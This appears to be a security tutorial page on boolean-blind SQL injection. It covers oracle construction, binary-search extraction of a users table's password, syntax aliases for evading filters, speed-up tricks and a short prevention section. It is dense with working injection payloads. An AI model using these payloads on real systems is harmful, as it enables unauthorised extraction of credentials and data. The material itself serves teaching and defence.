Boolean-Blind Injection
Extracting data one bit at a time by asking yes/no questions and reading the answer from how the page changes.
Overview
When the application shows no query results and no errors, but does behave differently for a true condition than a false one, you have a one-bit oracle. That is enough to read the entire database — slowly.
The difference does not need to be dramatic. Any reliably observable distinction works:
- results present vs. "no records found"
- HTTP 200 vs. 302
- content length differing by a few bytes
- an element present in one response and absent in the other
Identify the discriminator first and verify it is stable across repeated requests. Everything downstream depends on it being trustworthy.
Building the Oracle
Wrap the condition you want to test in an AND so it gates the original query's result. When your condition is true the query behaves normally; when false it returns nothing.
Establishing the true/false baseline
-- Baseline: confirm the two states are distinguishable
' AND 1=1-- - -> product listing renders
' AND 1=2-- - -> "No products found"
-- Now the condition can be anything:
' AND (SELECT COUNT(*) FROM users)>0-- - -> is there a users table?
' AND LENGTH((SELECT password FROM users LIMIT 1))>20-- -
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -Binary Search, Not Linear Scan
Testing each character against every possible value takes up to 95 requests per character. Comparing against a midpoint instead takes 7.
SQL string comparison is ordinal, so > works directly on characters. Each request halves the remaining candidate range: 7 requests resolve any printable ASCII character (log₂ 95 ≈ 6.6).
For a 32-character hash that is 224 requests instead of roughly 3000. On a rate-limited target that is the difference between an afternoon and a week.
Binary search on one character
-- Resolving character 1 of the password. Range starts at 32-126.
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>79-- - -> TRUE (80-126)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>103-- - -> FALSE (80-103)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>91-- - -> TRUE (92-103)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97-- - -> TRUE (98-103)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100-- - -> FALSE (98-100)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>99-- - -> FALSE (98-99)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>98-- - -> FALSE (98)
-- => 'b'
-- Get the length first so you know when to stop:
' AND LENGTH((SELECT password FROM users LIMIT 1))=60-- -Per-Engine Syntax
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>79-- -
-- MID() and SUBSTR() are aliases for SUBSTRING() —
-- useful when one name is on a filter blocklist.
' AND ASCII(MID((SELECT password FROM users LIMIT 1),1,1))>79-- -
-- Length
' AND LENGTH((SELECT password FROM users LIMIT 1))=60-- -Going Faster
Binary search is the baseline. Beyond it:
Bit-shifting. Test individual bits rather than ranges — exactly 7 requests per character, no range bookkeeping: AND (ASCII(SUBSTRING(…,1,1)) >> 6) & 1 = 1.
Narrow the alphabet. If the value is a hex hash the alphabet is 16 characters, so 4 requests each. If it is base64, 6. Knowing the format cuts the work almost in half.
Parallelise. Character positions are independent — resolve them concurrently. Respect rate limits; this is the step most likely to get you blocked or to cause a genuine outage.
Prefer another technique. Boolean-blind is the fallback, not the goal. Re-check whether errors leak anywhere or whether any endpoint reflects results before committing to thousands of requests. sqlmap implements all of the above and is the sane choice for real work.
When the Difference Is Subtle
Sometimes the page looks identical to the eye. Look harder before concluding there is no oracle:
- Content-Length. A single missing row often changes it.
- Response time. A true condition that returns rows may be consistently slower.
- Ordering. With no explicit
ORDER BY, injected conditions can change row order even when the set is the same. - Downstream effects. A result that feeds a counter, a cache header, or a subsequent redirect may expose the difference indirectly.
If nothing at all varies, move to Time-Blind, which manufactures its own difference.
Prevention
Parameterise. Note that the usual error-suppression mitigation does nothing here — boolean-blind extraction never needed an error message. Uniform error pages do not close this, and neither does hiding query results.
Rate limiting and anomaly detection are worth having as compensating controls, because blind extraction is inherently high-volume and noisy. They buy detection time; they do not fix the bug.
Related
Manufacturing your own signal when the application reveals nothing at all: make the database pause, and read the answer from the clock.
Coercing the database into embedding your query result inside its own error message. Fast extraction when errors reach the client but results do not.
Appending a second SELECT to the original query so its rows are returned alongside the application's own results. The fastest extraction path when output is visible.
Confirming an injection point exists, distinguishing it from ordinary input validation errors, and fingerprinting the engine before you commit to a technique.
sqlmap in practice — techniques, tamper scripts, escalation flags — plus Burp, and when to write your own extraction script instead.